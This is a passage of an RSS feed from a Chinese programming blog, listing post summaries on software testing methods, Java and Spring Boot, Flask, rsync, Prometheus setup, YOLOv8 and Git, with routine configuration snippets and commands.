      <description>一、黑盒测试 1、功能分解法 功能分解法就是把软件需求中的每一个功能加以分解，分解为功能单位，以功能单位为对象进行测试用例涉及。&#xA;例子：用户管理系统可以分为如下，当然也可以进一步往下分解。&#xA;根据上面的功能分解图可以对分解出来的最底层功能单元逐个进行测试用例设计和测试。同时可以从功能单元是否全部实现来判断上层功能的完备性。&#xA;2、等价类划分法 优点：每一个输入域都考虑到了。&#xA;缺点：产生的测试用例过多，可能产生一些无效的测试用例，也可能有一些特殊的点没有考虑。&#xA;等价类划分法是将需求中功能输入要求进行分解，将输入域划分成若干部分，然后从每个部分中选取少数代表性数据作为测试用例，每一类的代表性数据在测试中的作用等价于这一类中的其它值。等价类划分法必须在分解输入要求的基础上列出等价类分解表，划分出有效等价类及无效等价类。&#xA;a) 有效等价类：对于功能需求来说是合理的、有意义的输入数据构成的集合。利用有效等价类可检验软件是否实现了软件需求规格说明中所规定的功能。&#xA;b) 无效等价类：与有效等价类相反。对于功能需求来说是非法的，但有意义的数据集合。利用无效等价类可检验软件在功能实现的基础上是否对异常输入进行了保护。&#xA;例子：&#xA;1）、创建等价类表（分析过程）&#xA;2）、设计测试用例&#xA;一条测试用例尽可能覆盖多的有效等价类；每一个无效等价类都必须有一条测试用例覆盖他，在有一个无效等价类的时候，别的输入就必须是有效等价类&#xA;3、边界值分析法 03.黑盒测试-边界值-【软件测试实战教程】_哔哩哔哩_bilibili&#xA;等价类法中例子，用边界值法进行补充和修改之后&#xA;边界值分析法是针对软件边界情况进行验证。通常需要选择边界内、边界上及边界外的值对程序进行验证。对于边界值分析法主要步骤如下：&#xA;a) 分析软件文档，找出功能需求中所有可能存在的边界条件。&#xA;b) 对于边界条件，找出边界内、边界上及边界外的输入数据。&#xA;c) 根据输入数据设计测试用例。&#xA;4、因果图法 视频讲解：04.黑盒测试-因果图-【软件测试实战教程】_哔哩哔哩_bilibili&#xA;因果图法是从软件需求规格说明描述的自然语言中找出功能的因（输入）和果（输出或状态改变），通过因果图转换为判定表，根据判定表设计测试用例。&#xA;适用场景：1、需要描述多种条件的组合；2、不同组合会产生多个动作&#xA;例子：视频的11：40秒&#xA;（上图中 c和d互斥是错的，应该b和d互斥，画图可以省略）&#xA;然后把上面的图转化为表格的形式，如下：&#xA;接着分分析其余的情况： 转化为判定表如下：&#xA;5、判定表法 05.黑盒测试方法论-判定表-【软件测试实战教程】_哔哩哔哩_bilibili&#xA;1）、确定条件桩&#xA;2）、确定动作桩&#xA;判定表分析：&#xA;3）、确定初始判定表&#xA;4）、简化判定表 前八个只要条件桩c1=0，动作装A1=1，因此可以合并；还有12、14、15项时，不可能的结果我们就不用测试。最后剩下六条，然后按照每一条的规则设计测试用例就可以了。&#xA;6、错误推测法 错误推测法是指：在测试程序时，人们可以根据经验或直觉推测程序中可能存在的各种错误，从而有针对性地编写检查这些错误的测试用例的方法。&#xA;例如，测试一个对线性表（比如数组）进行排序的程序，可推测列出以下几项需要特别测试的情况：&#xA;输入的线性表为空表；&#xA;1. 表中只含有一个元素；&#xA;2.输入表中所有元素已排好序；&#xA;3. 输入表已按逆序排好；&#xA;4.输入表中部分或全部元素相同。 7、正交试验法 软件测试-正交实验法_哔哩哔哩_bilibili&#xA;当我们的输入项很多，每个输入项的取值也很多，这样我们的测试用例就很多，因果图也很乱很复杂。&#xA;正交试验法是从大量的试验点中挑出适量的、有挖根生的点，应用正交表，合理地安排试验的方法。该方法主要步骤如下：&#xA;a) 提取功能说明，构造因此状态表。把影响实验指标的条件称为因子，影响实验因子的条件叫做因子的状态。在设计测试用例时，首先要根据软件需求规格说明找出影响功能实现的操作对象或外部因素，把它们当作因子，把各个因子的取值当作状态。&#xA;b) 加权筛选，生成因素分析表。对因子与状态的选择可按重要程度分别加权。根据因子及状态作用的大小、出现频率等因素，确定权值大小。&#xA;c) 利用正交表进行各因子的状态组合，构造有效的测试输入数据集，形成测试用例。&#xA;（正交表有人已经总结的，可以上网查找，也有自动生成的工具，比如：Slothman）&#xA;8、场景法 06.黑盒测试-场景法-【软件测试实战教程】_哔哩哔哩_bilibili&#xA;场景法是根据软件文档划分软件运行场景，根据软件运行场景设计测试场景。用例场景用来描述流经用例的路径，从用例开始到结束遍历这条路径上所有基本流和备选流。基本流是经过用例最简单的路径，一个备选流可能从基本流开始，在某个特定条件下执行，然后重新加入到基本流中，也可能起源于另一个备选流，或终止用例而不再重新加入某个流。</description>
    </item>
    <item>
      <title>淄博烧烤电商——项目环境</title>
      <link>https://bchobby.github.io/posts/1d02cef0e9552c6a4d4574ce01f2e539/</link>
      <pubDate>Thu, 14 Sep 2023 08:49:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d02cef0e9552c6a4d4574ce01f2e539/</guid>
      <description> 一、项目环境搭建 1、jdk-17（之前已安装并配置好环境变量） 2、idea2023.1.2 由于本项目要求使用jdk-17，笔者原有的idea2020版本不能兼容，故安装idea2023新版本 安装并破解&#xA;3、maven3.6（之前已安装好并能正常使用） - 设置仓库repo文件夹 - 设置阿里云镜像 &amp;lt;mirrors&amp;gt; &amp;lt;!--阿里云镜像1--&amp;gt; &amp;lt;mirror&amp;gt; &amp;lt;id&amp;gt;alimaven&amp;lt;/id&amp;gt; &amp;lt;name&amp;gt;aliyun maven&amp;lt;/name&amp;gt; &amp;lt;url&amp;gt;http://maven.aliyun.com/nexus/content/groups/public/&amp;lt;/url&amp;gt; &amp;lt;mirrorOf&amp;gt;central&amp;lt;/mirrorOf&amp;gt; &amp;lt;/mirror&amp;gt; &amp;lt;/mirrors&amp;gt; 4、部署项目 将压缩包解压后打开，并刷新maven </description>
    </item>
    <item>
      <title>Java的abstract应用和代理模式应用</title>
      <link>https://bchobby.github.io/posts/ccb55662d809fcaa58575e3563783af5/</link>
      <pubDate>Wed, 13 Sep 2023 23:31:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ccb55662d809fcaa58575e3563783af5/</guid>
      <description>记录：474&#xA;场景：Java的abstract应用，一个抽象类，多个实现类。Java代理模式应用，使用代理模式执行具体实现类，在代理类中做日志等记录。&#xA;版本：JDK 1.8。&#xA;1.一个Java抽象类&#xA;(1)说明&#xA;使用Java关键字abstract修饰的类，就是抽象类。&#xA;使用Java关键字abstract修饰的方法，就是抽象方法。抽象方法没有方法体。&#xA;(2)代码&#xA;public abstract class SportContest { //赛事任务 private TaskDto taskDto; //开场仪式 public abstract String announceStart(); //举行比赛 public abstract ResultDto playGame(); //颁奖仪式 public abstract String announceEnd(ResultDto resultDto); //举行体育赛事 public String holdSportGame() { String result01 = announceStart(); ResultDto result02 = playGame(); String result03 = announceEnd(result02); return result03; } public TaskDto getTaskDto() { return taskDto; } public void setTaskDto(TaskDto taskDto) { this.taskDto = taskDto; } } 2.</description>
    </item>
    <item>
      <title>springboot对接postgres</title>
      <link>https://bchobby.github.io/posts/ae25fc2218e1328da12e06a6cbee479d/</link>
      <pubDate>Wed, 13 Sep 2023 22:42:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae25fc2218e1328da12e06a6cbee479d/</guid>
      <description>安装postgres 注意:下述链接方式会自动创建数据库steven_russell,若需要创建其他数据库，可以手动执行命令创建数据库&#xA;docker run --name postgres \&#xA;-p 5432:5432 \&#xA;-e POSTGRES_USER=steven_russell \&#xA;-e POSTGRES_PASSWORD=123456 \&#xA;-itd --privileged=true postgres&#xA;docker安装postgres_Steven-Russell的博客-CSDN博客&#xA;创建springBoot项目 搭建最简单的SpringBoot项目_Steven-Russell的博客-CSDN博客&#xA;引入postgres依赖 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.postgresql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;postgresql&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 编辑resource配置文件 注意：需要配置方言&#xA;spring: datasource: url: jdbc:postgresql://192.168.30.128:5432/steven_russell username: steven_russell password: 123456 jpa: hibernate: ddl-auto: update show-sql: true database-platform: org.hibernate.dialect.PostgresPlusDialect 创建实体 @Data @Entity @Table(name = &#34;tbl_user&#34;) public class User { @Id @Column @GeneratedValue private int id; @Column private String name; @Column private String addr; @UpdateTimestamp @Column private Date updateTime; } 创建repository 创建controller @RestController @RequestMapping(value = &#34;</description>
    </item>
    <item>
      <title>Flask 中最受欢迎的5个扩展插件</title>
      <link>https://bchobby.github.io/posts/06fffcc4b06e2ba33cc9f5809865c84e/</link>
      <pubDate>Wed, 13 Sep 2023 21:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06fffcc4b06e2ba33cc9f5809865c84e/</guid>
      <description>1、 Flask-Admin Django中有个杀手锏的功能就是自带Admin面板，所有数据都可以通过Admin后台来操作， Flask-Admin 就是一个功能和Django-Admin非常类似的库，有了它你再也不需要直接去数据库查数据改数据了。&#xA;Github地址：添加链接描述&#xA;2、Flask-SQLAlchemy Flask-SQLAlchemy 直接在SQLAlchemy的基础上封装了一层，简化了配置以及SQLAlchemy库的导入路径&#xA;# config.py SQLALCHEMY_DATABASE_URI = &#39;&#39; # app.py def create_app(config_name=None, app_name=None): &#34;&#34;&#34;使用工厂模式创建app&#34;&#34;&#34; if not app_name: app_name = __name__ app = Flask(app_name) from flask_sqlalchemy import SQLAlchemy db = SQLAlchemy() db.init_app(app) # model.py class User(db.Model): id = db.Column(db.Integer, primary_key=True) username = db.Column(db.String, unique=True, nullable=False) email = db.Column(db.String, unique=True, nullable=False) db.session.add(User(username=&#34;Flask&#34;, email=&#34;example@example.com&#34;)) db.session.commit() 3、 Flask-Migrate Flask-migrate 是一个SQLAlchemy 数据库升级迁移工具，基于Alembic实现，它提供了一系列命进行数据库升级撤回操作。&#xA;from flask_alembic import Alembic alembic = Alembic() alembic.</description>
    </item>
    <item>
      <title>【Linux】Rsync基于SSH认证的使用（rsync 命令属于1 v 4 的命令、rsync常用参数基本用法）</title>
      <link>https://bchobby.github.io/posts/fa0211da9fce4e90b42c41f8f2f7ce58/</link>
      <pubDate>Wed, 13 Sep 2023 18:01:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa0211da9fce4e90b42c41f8f2f7ce58/</guid>
      <description>一、Rsync基于SSH认证的使用 rsync 默认使用 rsync 协议进行远程登录和数据传输，想使用ssh协议进行传输需要使用-e参数指定，并且远程主机需要开启 sshd 服务，rsync 在传输数据之前会先与远程主机进行一次 ssh 登录认证，然后通过 ssh 隧道进行数据传输。只需数据同步双方安装 rsync，但不必启动 rsyncd 服务。&#xA;可用 -e 选项指定协议：&#xA;rsync -r -e ssh /var/sysnc-src/ username@10.110.101.100:/var/rsync-dest #指定通过ssh协议将/var/sysnc-src的数据递归同步到ip为10.110.101.100主机的/var/rsync-dest目录 也可省略 -e：&#xA;省略-e表示使用的是默认的rsync协议；&#xA;rsync -r /var/rsync-src/ username@10.101.11.11:/var/rsync-dest/ 使用 ssh 认证与传输的缺点是不安全：&#xA;登录认证使用的账号是远程主机可登录的系统账号，且需要手动输入密码；&#xA;同步数据不受目录限制。&#xA;rsync 命令属于1 v 4 的命令 类似于 cp 命令 -- 实现本地备份传输数据&#xA;类似于scp 命令 -- 远程备份传输数据&#xA;类似于 rm 命令 -- 实现无差异同步备份&#xA;类似于 ls 命令 -- 本地文件信息查看&#xA;① rsync==cp [root@backup ~]# cp -a /etc/hosts /tmp/ [root@backup ~]# ls /tmp/hosts [root@backup ~]# rm /tmp/hosts [root@backup ~]# rsync /etc/hosts /tmp/ [root@backup ~]# ls /tmp/hosts /tmp/hosts ② rsync == scp 远程数据同步方式（类似scp）---又称为隧道传输</description>
    </item>
    <item>
      <title>echarts柱状图堆叠-顶部圆角</title>
      <link>https://bchobby.github.io/posts/8ff63e1cc7dd502db235a79d242e8ef7/</link>
      <pubDate>Wed, 13 Sep 2023 17:54:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ff63e1cc7dd502db235a79d242e8ef7/</guid>
      <description> // 设置柱条顶层圆角 for (let j = option.series.length - 1; j &amp;gt;= 0; j--) { // legend个数，echarts堆叠是最后一个在最上面，所以先找最后一个不全为0的数组 const allZero = option.series[j].data.every(function(item) { return item === 0; }); if (!allZero) { for (const i in option.series[j].data) { // 横坐标数 if (option.series[j].data[i] != 0) { // 找到最后一个不为0的数据，添加圆角 option.series[j].itemStyle.normal = { borderRadius: [4, 4, 0, 0] }; break; // 退出该柱条的循环 } } break; } } </description>
    </item>
    <item>
      <title>超级电容-一阶RC模型-RLS参数辨识-Simulink仿真</title>
      <link>https://bchobby.github.io/posts/fb07cf2e015760c585e29e714ff69fca/</link>
      <pubDate>Wed, 13 Sep 2023 17:14:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb07cf2e015760c585e29e714ff69fca/</guid>
      <description>1.超级电容器一阶RC等效电路模型&#xA;步骤1&amp;gt;求解超级电容器模型的传递函数&#xA;步骤2&amp;gt;传递函数离散化&#xA;步骤3&amp;gt;RLS最小二乘参数辨识&#xA;2.仿真实验&#xA;(1)利用超级电容模型进行仿真&#xA;（2）利用辨识得到R\C结果构建等效电路&#xA;（3）结果对比&#xA;电压&#xA;电流&#xA;电流局部 搭建模型与实际模型一致度较高，辨识算法和数学模型正确性满足 4.联系方式 QQ 1978009424</description>
    </item>
    <item>
      <title>vscode的vue代码提示与补全没反应（vetur问题）</title>
      <link>https://bchobby.github.io/posts/b53c5f74e2271be370fd393de9bf7c42/</link>
      <pubDate>Wed, 13 Sep 2023 15:00:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b53c5f74e2271be370fd393de9bf7c42/</guid>
      <description>vscode的vue代码提示与补全没反应（vetur问题）</description>
    </item>
    <item>
      <title>Prometheus Grafana搭建</title>
      <link>https://bchobby.github.io/posts/9d6142d014e00f1d29c30b57ccd2e26c/</link>
      <pubDate>Wed, 13 Sep 2023 14:49:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d6142d014e00f1d29c30b57ccd2e26c/</guid>
      <description>一、prometheus介绍 prometheus是由谷歌研发的一款开源的监控软件，它通过安装在远程机器上的exporter，通过HTTP协议从远程的机器收集数据并存储在本地的时序数据库上&#xA;同时Prometheus后端用 golang语言开发，前端是 Grafana&#xA;Prometheus 还是一款基于时序数据库的开源监控告警系统，非常适合Kubernetes集群的监控。Prometheus的基本原理是通过HTTP协议周期性抓取被监控组件的状态，任意组件只要提供对应的HTTP接口就可以接入监控。不需要任何SDK或者其他的集成过程。这样做非常适合做虚拟化环境监控系统，比如VM、Docker、Kubernetes等。输出被监控组件信息的HTTP接口被叫做exporter 。目前互联网公司常用的组件大部分都有exporter可以直接使用，比如Varnish、Haproxy、&#xA;Nginx、MySQL、Linux系统信息(包括磁盘、内存、CPU、网络等等)。Promethus有以下特点：&#xA;支持多维数据模型：由度量名和键值对组成的时间序列数据内置时间序列数据库TSDB支持PromQL查询语言，可以完成非常复杂的查询和分析，对图表展示和告警非常有意义支持HTTP的Pull方式采集时间序列数据支持PushGateway采集瞬时任务的数据支持服务发现和静态配置两种方式发现目标支持接入GrafanaPrometheus的流行和Kubernetes密不可分，支持对Kubernetes、容器、OpenStack的监控。 二、prometheus部署 1、使用系统 ip角色系统192.168.12.13prometheus（服务器端）grafana、node_exporter2(客户端)centos7192.168.12.12node_exporter1（数据采集数据）centos7 prometheus下载地址：&#xA;https://prometheus.io/download/ 本次使用的prometheus版本为：&#xA;下载后直接上传服务器192.168.12.13 /date目录下&#xA;也可以在服务器上使用wget下载prometheus安装包&#xA;[root@node3 date]# wget https://github.com/prometheus/prometheus/releases/download/v2.27.1/prometheus-2.27.1.linux-amd64.tar.gz [root@node3 date]# tar -xf prometheus-2.27.1.linux-amd64.tar.gz [root@node3 date]# mv prometheus-2.27.1.linux-amd64/ Prometheus 查看版本号：&#xA;[root@node3 Prometheus]# ./prometheus --version prometheus, version 2.27.1 (branch: HEAD, revision: db7f0bcec27bd8aeebad6b08ac849516efa9ae02) build user: root@fd804fbd4f25 build date: 20210518-14:17:54 go version: go1.16.4 platform: linux/amd64 [root@node3 prometheus]# pwd /date/prometheus [root@node3 Prometheus]# 查看帮助文档&#xA;[root@node3 prometheus]# ./prometheus --help usage: prometheus [&amp;lt;flags&amp;gt;] The Prometheus monitoring server Flags: -h, --help Show context-sensitive help (also try --help-long and --help-man).</description>
    </item>
    <item>
      <title>java实现克里金插值导出geojson矢量数据（kriging）</title>
      <link>https://bchobby.github.io/posts/b809784b8c42737bec8e30f26767c197/</link>
      <pubDate>Wed, 13 Sep 2023 14:32:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b809784b8c42737bec8e30f26767c197/</guid>
      <description>生成效果&#xA;在现代科学研究中，数据的处理和分析是至关重要的一环。然而，我们往往会遇到数据缺失的情况，这时就需要使用插值方法来填补这些缺失值。其中，克里金插值法是一种常用的方法，在很多领域都有广泛的应用。&#xA;首先，克里金插值法在地质勘探领域中有着广泛的应用。在地质勘探中，我们需要研究地下的地质结构和矿藏分布情况。然而，在采集数据时，由于种种原因，我们无法获取到完整的数据集。这时，我们就可以使用克里金插值法来估算缺失的数据，从而更加准确地进行矿藏勘探和开采工作。&#xA;其次，克里金插值法在气象学领域中也有着重要的应用。在气象学中，我们需要预测未来的气象情况，比如温度、降雨量等。然而，由于气象数据的采集难度较大，数据缺失的情况也比较常见。这时，我们可以利用已有的气象数据，使用克里金插值法来预测缺失数据，从而更好地进行气象预测和防灾减灾工作。&#xA;除此之外，克里金插值法还在许多其他领域中得到了广泛的应用，比如环境监测、土地利用规划等。可以说，克里金插值法已经成为了数据处理和分析领域中不可或缺的一部分。&#xA;综上所述，克里金插值法在许多领域都有着广泛的应用，能够帮助我们更好地处理和分析数据，提高研究和预测的准确性。相信随着科学技术的不断发展，克里金插值法在更多领域中也将得到更加广泛和深入的应用。&#xA;一、控制类代码实现&#xA;//http://localhost:8935/api/export/controlInterpolationVec?intv=0,30,50,70,90,150&amp;amp;trainfn=traindata.json&amp;amp;IM=Kriging @ApiOperation(value = &#34;Interpolation&#34;) @GetMapping(value = &#34;/controlInterpolationVec&#34;) // @Scheduled(cron = &#34;0 10 * * * ?&#34;) public String stationInterpolationVec(String intv,String trainfn,String IM) { String traindt= FileUtils.ReadTxt(trainfn); int nNum = 3; // String monitorTime = DateUtil.format(DateUtil.addDateHours(new Date(),-1),&#34;yyyy-MM-dd%20HH:00:00&#34;); // // 获取数据 // JSONObject obj = JSON.parseObject(HttpUtils.sendGet(EDVRURL,&#34;monitorTime=&#34; + monitorTime + &#34;&amp;amp;regionCode=370300&#34;)); // String re = HttpUtils.SendPostRain(adcd,btime,etime); // JSONObject obj = JSON.parseObject(re); JSONObject obj = JSON.parseObject(traindt); // JSONObject obj = JSON.</description>
    </item>
    <item>
      <title>YOLOv8最新改进系列：YOLOv8&#43;BiFormer（CVPR 2023最新提出），基于动态稀疏注意力构建高效金字塔网络架构，用动态、查询感知的方式实现计算的有效分配，嘎嘎提升目标检测效果！</title>
      <link>https://bchobby.github.io/posts/1a22b553456b74607fe3573c5683d45a/</link>
      <pubDate>Wed, 13 Sep 2023 13:08:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a22b553456b74607fe3573c5683d45a/</guid>
      <description>YOLOv8最新改进系列 BiFormer论文在这！&#xA;详细的改进教程以及源码，戳这！戳这！！戳这！！！B站：AI学术叫叫兽 改进后的源码在相簿的链接中，动态中也有链接，感谢支持！祝科研遥遥领先！&#xA;截止到发稿，B站YOLOv8最新改进系列的源码包已更新了24种+损失函数改进！&#xA;自己排列组合2-4种后，不考虑位置已达上万种改进方法，考虑位置不同后可排列上百万种！专注AI,关注B站博主：AI学术叫叫兽！&#xA;YOLOv8最新改进系列：YOLOv8+BiFormer，基于动态稀疏注意力构建高效金字塔网络架构,用动态、查询感知的方式实现计算的有效分配，嘎嘎提升目标检测效果！！！ YOLOv8最新改进系列一、BiFormer概述1.1 导读1.2 方法-Bi-Level Routing Attention1.3 实验1.4 文章总结 二、YOLOv8+GSConv+Slim Neck2.1 修改YAML文件2.2 新建BiFormer.py2.3注册(包含很多改进，不需要的可删) 三、验证是否成功即可 一、BiFormer概述 1.1 导读 众所周知，Transformer相比于CNNs的一大核心优势便是借助自注意力机制的优势捕捉长距离上下文依赖。正所谓物极必反，在原始的 Transformer 架构设计中，这种结构虽然在一定程度上带来了性能上的提升，但却会引起两个老生常态的问题：&#xA;1、内存占用大&#xA;2、计算代价高&#xA;在我B站视频的演示中，充分的证明了上述问题。&#xA;让我们先简单的看下上图：其中图(a)是原始的注意力实现，其直接在全局范围内操作，导致高计算复杂性和大量内存占用；而对于图(b)-(d)，这些方法通过引入具有不同手工模式的稀疏注意力来减轻复杂性，例如局部窗口、轴向条纹和扩张窗口等；而图(e)则是基于可变形注意力通过不规则网格来实现图像自适应稀疏性；&#xA;总的来说，作者认为以上这些方法大都是通过将 手工制作 和 与内容无关 的稀疏性引入到注意力机制来试图缓解这个问题。因此，本文通过双层路由(bi-level routing)提出了一种新颖的动态稀疏注意力(dynamic sparse attention )，以实现更灵活的计算分配和内容感知，使其具备动态的查询感知稀疏性，如图(f)所示。&#xA;此外，基于该基础模块，本文构建了一个名为BiFormer的新型通用视觉网络架构。由于 BiFormer 以查询自适应的方式关注一小部分相关标记，而不会分散其他不相关标记的注意力，因此它具有良好的性能和高计算效率。最后，通过在图像分类、目标检测和语义分割等多项计算机视觉任务的实证结果充分验证了所提方法的有效性。&#xA;1.2 方法-Bi-Level Routing Attention 为了缓解多头自注意力(Multi-Head Self-Attention, MHSA)的可扩展性问题，先前的一些方法提出了不同的稀疏注意力机制，其中每个查询只关注少量的键值对，而非全部。然而，这些方法有两个共性问题：&#xA;要么使用手工制作的静态模式（无法自适应）；&#xA;要么在所有查询中共享键值对的采样子集（无法做到互不干扰）；&#xA;为此，作者探索了一种动态的、查询感知的稀疏注意力机制，其关键思想是在粗糙区域级别过滤掉大部分不相关的键值对，以便只保留一小部分路由区域（这不就把冗余的信息干掉了吗老铁们）。其次，作者在这些路由区域的联合中应用细粒度的token-to-token注意力。&#xA;简单梳理下。假设我们输入一张特征图，通过线性映射获得QKV；其次，我们通过领接矩阵构建有向图找到不同键值对对应的参与关系，可以理解为每个给定区域应该参与的区域；最后，有了区域到区域路由索引矩阵 ，我们便可以应用细粒度的token-to-token注意力了。&#xA;上面是 BRA 模块的示意图。从图中可以看出，该方法是通过收集前 k 个相关窗口中的键值对，并利用稀疏性操作直接跳过最不相关区域的计算来节省参数量和计算量。值得一提的是，以上操作涉及 GPU 友好的密集矩阵乘法，利于服务器端做推理加速。&#xA;BiFormer&#xA;基于BRA模块，本文构建了一种新颖的通用视觉转换器BiFormer。如上图所示，其遵循大多数的vision transformer架构设计，也是采用四级金字塔结构，即下采样32倍。&#xA;具体来说，BiFormer在第一阶段使用重叠块嵌入，在第二到第四阶段使用块合并模块来降低输入空间分辨率，同时增加通道数，然后是采用连续的BiFormer块做特征变换。需要注意的是，在每个块的开始均是使用 的深度卷积来隐式编码相对位置信息。随后依次应用BRA模块和扩展率为 的 2 层 多层感知机(Multi-Layer Perceptron, MLP)模块，分别用于交叉位置关系建模和每个位置嵌入。</description>
    </item>
    <item>
      <title>Xcelium（xrun）的基础使用</title>
      <link>https://bchobby.github.io/posts/8fe79c50ca618482e29b8ef042efff1f/</link>
      <pubDate>Wed, 13 Sep 2023 11:47:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8fe79c50ca618482e29b8ef042efff1f/</guid>
      <description>Xcelium的基础使用 https://www.cnblogs.com/Alfred-HOO/articles/17416139.html 一，基础问答&#xA;1，Xcelium的由来？&#xA;Xcelium（xrun）是cadence最新的仿真工具，Incisive(irun)的升级版本。&#xA;2，如何用xrun完成三步仿真？&#xA;xrun默认是单步仿真&#xA;xrun add.v //自动完成comp , elab ,sim 三步仿真：&#xA;comp : xrun -compile add.v elab : xrun -elaborate add.v //生成snapshot sim : xrun -R //自动识别snapshot 3、Xcelium的特性&#xA;严格的语法检查确保设计的成功，若代码不改变，默认不重新comp，elab代码，来减少仿真时间（如需要重新comp，elab，可添加-noupdate）&#xA;二，常用的option&#xA;三，help使用&#xA;whichxrun//查看xrun是否可以直接调用&#xA;xrun -helpargs//打印出xrun的option作用及用法（xrun -helpall）&#xA;当仿真报错，可以使用下面命令debug具体报错类型&#xA;xmhelpxrunBADPRFxmhelp xmsim BADPRF (根据报错信息调整xmvlog ，xmelab ，xmsim)&#xA;$nchelp ncvlog BADPRF(根据报错信息调整ncvlog，ncelab，ncsim).</description>
    </item>
    <item>
      <title>Git入门讲解</title>
      <link>https://bchobby.github.io/posts/cb3ceacaacb78d7a56cf26aa1141349f/</link>
      <pubDate>Wed, 13 Sep 2023 11:37:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb3ceacaacb78d7a56cf26aa1141349f/</guid>
      <description>Git入门讲解 一、初识Git 1.1 什么是Git Git是一个分布式的版本控制软件。最初由Linus Torvalds（林纳斯·托瓦兹）创建，旨在管理Linux内核的开发。&#xA;它可以跟踪文件的修改历史记录并允许多个人协同开发同一个项目。&#xA;版本控制，类似于毕业论文、写文案、视频剪辑等，需要反复修改和保留原历史数据&#xA;分布式&#xA;文件夹拷贝&#xA;本地版本控制&#xA;集中式版本控制&#xA;分布式版本控制&#xA;版本控制专业概念 在软件开发和其他文件管理场景中，版本控制是一种管理文件修改历史的技术。&#xA;它允许开发者或团队对文件进行更改，并保留每个版本的历史记录。&#xA;分布式版本控制与集中式版本控制的区别 当我们使用传统的集中式版本控制系统（如SVN）时，代码仓库通常位于服务器上，开发者需要从服务器上下载代码并将修改提交到服务器上。这种架构存在一些问题，例如：&#xA;单点故障：如果服务器出现故障，所有开发者都无法提交和获取代码。依赖网络：开发者需要始终连接到网络才能进行版本控制操作。难以协同：如果多个开发者同时修改了同一个文件，可能会出现冲突，需要手动解决。 为了解决这些问题，Git采用了分布式版本控制的架构。在Git中，每个开发者都有一个本地的代码仓库，可以在本地进行修改和提交，并可以将这些修改推送到远程的代码仓库中，与其他人的修改进行合并。这种分布式的架构带来了以下好处：&#xA;去中心化：不再依赖于单个服务器，每个开发者都有自己的完整版本库，可以在本地完全独立地进行版本控制操作。离线工作：开发者可以在没有网络连接的情况下进行版本控制操作，并可以在连接到网络时将修改推送到远程代码仓库中。容错性强：即使某个开发者的本地版本库出现故障，其他开发者的版本库仍然可以正常工作。 1.2为什么要做版本控制 要保留之前所有的版本，以便回滚和修改。&#xA;1.3 安装git 官方下载地址：https://git-scm.com/downloads&#xA;安装教程：Git - 安装 Git (git-scm.com)&#xA;下载后一路next安装即可&#xA;二、git管理 2.1 如何让git对一个目录进行版本控制 想要让git对一个目录进行版本控制需要以下步骤:&#xA;1、进入要管理的文件夹&#xA;2、执行初始化命令&#xA;git init //初始化 让git帮助我们管理当前文件夹 3、管理目录下的文件状态&#xA;git status //检测当前目录下文件的状态 注:新增的文件和修改过后的文件都是红色&#xA;4、管理指定文件 （红变绿），将文件由工作区变动文件放入暂存区&#xA;git add 文件名 --&amp;gt;管理一个文件 git add . --&amp;gt;将该目录下所有已变动文件放入暂存区 红色:新增的文件/修改了原老文件&#xA;绿色: git 已经管理起来&#xA;5、个人信息配置：邮箱、用户名【一次即可】&#xA;git config --global user.email &#34;your@example.com&#34; git config --global user.</description>
    </item>
    <item>
      <title>picgo报错Error: connect ECONNREFUSED 127.0.0.1:443的解决方式</title>
      <link>https://bchobby.github.io/posts/a8e0cc5aad2624824ba85cb67453b41e/</link>
      <pubDate>Wed, 13 Sep 2023 10:51:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8e0cc5aad2624824ba85cb67453b41e/</guid>
      <description>picgo报错Error: connect ECONNREFUSED 127.0.0.1:443的解决方式 1报错的原因 报错为RequestError: Error: connect ECONNREFUSED 127.0.0.1:443&#xA;2使用到的网站 在线ping，查询DNS&#xA;ITDOG - 在线ping_在线tcping_网站测速_HTTP测速_API测速_路由追踪_在线MTR_DNS查询_ITDOG-云邦畅想&#xA;3使用到的教程 解决服务器 DNS 无法解析 github 域名问题&#xA;picgo报错Error: connect ECONNREFUSED 127.0.0.1:443的解决方式_JohnnyassSilverhand的博客-CSDN博客&#xA;需要解析如下域名：&#xA;github.com nodeload.github.com api.github.com raw.github.com training.github.com assets-cdn.github.com codeload.github.com help.github.com github.global.ssl.fastly.net documentcloud.github.com raw.githubusercontent.com githubstatus.com pkg-containers.githubusercontent.com C:\Windows\system32\drivers\etc\hosts打开后追加填入地址&#xA;20.205.243.166 github.com 20.205.243.165 nodeload.github.com 20.205.243.168 api.github.com 185.199.110.133 raw.github.com 185.199.109.153 training.github.com 185.199.111.153 assets-cdn.github.com 20.205.243.165 codeload.github.com 140.82.114.17 help.github.com 151.101.1.194 github.global.ssl.fastly.net 185.199.108.153 documentcloud.github.com 185.199.109.153 githubstatus.com 185.199.109.133 raw.githubusercontent.com 185.199.111.154 pkg-containers.githubusercontent.com 4我出现的问题 评论图片 追加填入地址后 image-20230911135056865 刷新本地dns 刷新本地 dns 缓存：cmd执行命令行ipconfig /flushdns</description>
    </item>
    <item>
      <title>车载Android应用开发与分析 - 初试 SystemUI Plugin</title>
      <link>https://bchobby.github.io/posts/0c53ade81f231aec4e682e51fb80d951/</link>
      <pubDate>Wed, 13 Sep 2023 10:09:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c53ade81f231aec4e682e51fb80d951/</guid>
